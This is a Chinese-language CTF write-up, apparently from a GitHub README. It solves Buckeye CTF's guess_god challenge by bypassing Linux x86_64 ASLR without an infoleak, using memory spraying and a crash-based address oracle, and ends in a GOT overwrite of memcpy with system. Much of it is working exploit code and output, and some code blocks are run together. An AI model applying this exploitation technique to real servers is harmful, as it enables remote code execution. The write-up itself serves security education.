
ASLR bypass without infoleak
在这篇文章中,我将讨论 Samuel Groß 在他的 Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass 中描述的技术在 Linux x86_64 上绕过 ASLR 的应用。
为了展示这一点,我将解决来自 Buckeye CTF 的一个 pwnable 挑战,即 guess_god。
我会尽量让内容对初学者友好,如果你觉得自己已经足够自信,或者只想直接看漏洞利用,可以随意跳过任何部分。

我没有参加这个 CTF,但在 CTF 结束前大约 2 小时,由于 Guray00 在 fibonhack 的 discord 上请求帮助解决一些加密相关的把戏,我因此对这个挑战产生了兴趣。
我帮不上他的忙,但我看了一下 pwnable 挑战,觉得弄懂 P0 博客文章会是一件好事,并希望能拿到那份赏金。
地址空间布局随机化(ASLR)是一种计算机安全技术,它涉及在进程的地址空间中随机定位可执行文件的基础地址以及库、堆和栈的位置。
在 Linux 上,你可以通过读取 /proc/<pid>/maps 文件,借助 procfs 来检查给定 pid 进程的内存映射。
如果你是一个进程,并且想了解自己的内存映射,可以读取 /proc/self/maps。
例如,你可以尝试用 cat 读取 /proc/self/maps:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### 内存映射模式
如果你重复操作几次,就能推断出:
* 二进制文件的 PIE 基地址应该位于 0x00005500_00000000-0x00005700_00000000 范围内,这意味着有 2TB 个可能的地址。
* 堆位于二进制文件附近。
* 库位于 0x00007f00_00000000 - 0x00007fff_ffffffff 范围内,有 1TB 个可能的地址。
* 栈 \(大部分情况下\) 位于 0x00007ffc_00000000 - 0x00007fff_ffffffff 范围内,有 16gb 个可能的地址。
* 范围 0xffffffffff600000 - 0xffffffffff601000 总是被映射,如果你对它是什么感到好奇,可以阅读[这篇文章](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso)。
## 1.3 如何在没有信息泄露的情况下绕过 ASLR
让我们讨论一下,当无法进行信息泄露时,你可以用什么方法来绕过 ASLR。
以下是我尝试对阅读 Saelo 博客文章后的收获所做的总结。
要绕过 ASLR,你需要:
* 一种内存喷射技术,它允许你在给定的地址范围内映射指定大小的连续内存。
正如他所说,有两种方式可以做到:
1. 滥用内存泄漏(不是信息泄露!)——一种内存块被“遗忘”而从未释放的 bug——并多次触发它,直到泄漏出所需数量的内存。
2. 寻找并滥用“amplification gadget”(放大小工具):一段获取现有数据块并复制它(可能多次)的代码,从而使攻击者只需发送相对较少的字节就能喷射大量内存。
* 一个 `isAddressMapped` oracle,给定一个地址,它会告诉你该地址是否已被映射。
### Linux 上绕过 ASLR 的 PoC
让我们尝试复现 saelo 的 PoC,以在 Linux 上彻底打破 aslr。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo 的 poc</i> <p/> <br/>
在 Linux 上这并不容易,只有当你能够分配 16TB 内存时,才有可能完全打破 ASLR。```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
摘自 man malloc 的说明:
因此 void *mem = malloc(size) 最终会调用 mmap(size + malloc_metadata_size, ...)
由于库是通过 ld 以 mmap 方式映射进进程的,这些分配最终会落在库附近。
如果你查看 malloc 返回的地址,就能更好地理解发生了什么。小贴士:关注最高有效字节。
该 poc 利用的事实是:在某个时刻,返回地址的最高有效字节从 7F 变成了 7E,并且由于这些分配是连续的,因此在该范围内一定存在某些内容。(是的,我们正在应用 Bolzano-Weirstress 定理 来解决这个问题!)
多亏了作者,压缩包中包含了二进制文件、源代码和 dockerfile,可用于复现与远程环境相同的环境。

了解一些环境信息总是好的,让我们浏览一下文件并做些记录。
构建并安装 oatpp 1.2.5,也许这个特定版本中存在可利用的漏洞?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
它从零开始构建这个挑战
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
这可能会带来问题,所以让我们改为复制分发的二进制文件 来代替。
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

项目中提供了 docker-compose.yml 文件,所以要搭建一个可用于探测的本地环境并不难。对于不熟悉 docker 的朋友,下面是你需要在本地探测该挑战时掌握的命令列表。```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
执行 `docker-compose build` 后,你可以执行 `docker-compose up` 来启动容器,并通过 `nc 127.0.0.1 9000` 连接到挑战。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. 源代码分析
既然已经基本了解了为了绕过 ASLR 我们需要做什么,那么来看看源代码,同时记住我们需要:
* 一种在已知内存范围内喷射内存的方法
* 一个 isAddrMapped 预言机
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> 源代码文件夹 </i><p/>
它大多是让 oatpp Web 服务器启动并运行的胶水代码,实际上,我们要分析的重要文件是:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
共有 3 个端点:
* `/`
* `GET /files/{fileId}` -> 下载先前上传的文件,如果 extract 为 true,则在下载前先解压。
* `POST /upload/{fileId}` -> 根据给定的 {fileId} 上传文件。
还有一个在 `MyController.cpp` 中实现的函数。```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
其中:
将 to_open 设置为 {file_id} 或 {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
如果这是我们第一次请求提取 {file_id},那么它会在其上调用 decompress,
这会将 {file_id} 的解压文件写入 {file_id}.unkyle。 ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
最后,使用 mmap 将结果映射到内存中。 ```C
struct stat sb;
if (fstat(fd, &sb) != 0) { return NULL; }
fork() 通过复制调用进程来创建一个新进程,在 fork() 发生时,两个内存空间具有相同的内容。
因此,如果我们能将 decompress() 变成一个预言机,它可以:
我们可以利用这个原语来推断父进程的内存空间。
父进程中有一个对 mmap 的调用: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if we can control sb.st_size(即解压后文件的大小),我们就能轻松地将其转变为一种内存喷射原语。
int decompress(const char *fname)
* 将输入文件映射到地址 `0x42069000000`。
* 将输出文件映射到地址 `0x13371337000`。
* 调用 do_decompress() 来完成解压。
该文件预期采用以下格式:
| 偏移量 | 名称 | 类型 | 描述 |
| - | - | - | - |
| +0h | magic | uint64 | 一个魔数,预期为 0x0123456789abcdef |
| +8h | filesize | uint64 | 解压后文件的大小 |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
您可以将此函数视为一个简单的虚拟机,它执行由 in 指向的字节码,并将输出写入由 out 指向的缓冲区。
in 指向我们的 {file_id}。
out 指向 {file_id.unkyle}。
此虚拟机有 4 个操作码:
0 -> NOP
1 -> STORE(u8 b)
将 b 写入 out,并将 out 递增 1。
操作码实现: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
将 out 设置为 out + off。
out 和 off 是 64 位值,因此 out = out+off 等价于 out = (out+off) % MAX_64BIT_VALUE,这被称为整数溢出,我们可以利用这种行为来达到任何 64 位值。示例: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
操作码实现: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
从 `out - off` 复制 `size` 字节到 `out`,并将 `out` 增加 8。
操作码实现: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
这些操作中没有任何边界检查,这给了我们两个有用的原语:
SEEK+LOADSEEK+STORE我用这段代码来构建字节码:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. 与二进制文件交互
在深入漏洞利用阶段之前,最好先构建一些东西,让你能够轻松地与二进制文件交互,以避免浪费时间。```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
在尝试解决这个挑战时,这一点对我来说非常重要,我盯着内存映射看了很长时间。
为此,你可以启动一个本地挑战实例,并在进行一些操作后读取进程的内存映射。

我们被赋予了一个 read-what-where 原语,因此构建一个 isAddressMapped 预言机并不困难。
我的做法是构建以下字节码:
memcpy(out, targetAddress, 1)write(b'A')如果 targetAddress 未被映射,子程序会在 memcpy 处段错误,从而使我们得到一个充满空字节的解压文件。
如果 targetAddress 已被映射,解压文件的第二个字节就是 b'\x41'。```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 内存喷射原语
我们可以完全控制解压后文件的大小,并在 [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) 中获得该大小的一个 mmap。
在我的漏洞利用中,我使用了 `isAddrMapped` 函数,并修改了 filelen。
例如,让我们尝试分配一个大小为 0x4000000 = 64mb 的连续内存块。```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
这就是结果:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
如果你再试一次:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
这就是结果:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
太好了!多次分配将不会有间隙。
## 4.4 要喷射多少内存?
正如你从[这个 PoC](#poc-of-aslr-bypass-on-linux) 中所看到的,连续映射内存的理想大小应为 16TB。
不幸的是,如果你尝试在远程服务器上分配 16TB 的内存,mmap 会失败,因为 [nsjail 对此有限制](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)。
经过一番反复试验,我发现可以使用以下代码喷射约 3840MB 的内存:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
内存映射的结果将如下所示:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
让我们把注意力集中在通过内存喷洒创建的地址上。 \(*.unkyle files \)
我们可以尝试应用[边界跨越技巧](#Boundary-cross-trick)。
| mem | 4gb 边界跨越?
| - |-
| 7fe2dc000000 | 否
| 7fe2e0000000 | 否
| 7fe2e4000000 | 否
| 7fe2e8000000 | 否
| 7fe2ec000000 | 否
| 7fe2f0000000 | 否
| 7fe2f4000000 | 否
| 7fe2f8000000 | 否
| 7fe2fc000000 | 否
| 7fe300000000 | 是
| 7fe304000000 | 是
| 7fe308000000 | 是
通过利用从 7fe2.. 到 7fe3.. 的变化,我们可以以 0x100000000 = 4gb 内存为步长扫描内存。
## 4.5 最终绕过 ASLR
鉴于该步长,我们可以仅用 `end - start / size` = 256 次查询,扫描从 `start=0x7f0000000000` 到 `end=0x800000000000` 的范围。```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
此时,我们有了 leakAddr,它是一个映射地址,形如:0x7fXX00000000,在 此 案例中,leakAddr = 0x7fe300000000。
现在,如果我们想采用 saelo 技术,就应该在 0x7fXX00000000 - 0x7fXXffffffff 范围内进行二分搜索,以找到上下界,问题在于该范围内存在一些空洞,因此二分搜索经常会失败。
你可以用 这个 脚本自行验证:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
0x00007f763c000000 和 0x00007f763ccaa000 之间的小间隙会打乱二分查找,当然它仍然可行,但我找到了一个更简单的方法。
### 观察
我们想要获取最后一个映射地址,因为那是库映射的位置。
例如,给定以下库的映射:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
我们可以用这个技巧搜索地址 7fe3d6a5b000 - 0x1000:
lastMappedPage = 0x7fe3d6a5a000
我们每次暴力破解半个字节(half byte),最坏情况下需要 165 = 80 次查询。```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 漏洞利用
最后,我们已经了解了关于内存映射所需的一切,现在只需利用一个 write-what-where 原语来实现代码执行。
为了实现代码执行,我将 libkyle.so 的 memcpy@got 条目覆盖为 system@libc。
### 获取 libkyle 基址
幸运的是,libc 基址和 libkyle.so 基址与 lastMappedPage 之间存在固定偏移。我起初并不知道这一点,所以编写了一个 egghunter 来搜索 `\x7fELF`(ELF 可执行文件头),但最终并没有派上用场。```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
幸运的是,用 system 覆盖 memcpy@got 就足以拿到 flag,并成功领取那份丰厚的赏金 :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 flag!
你可以在[这里](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py)找到漏洞利用代码。
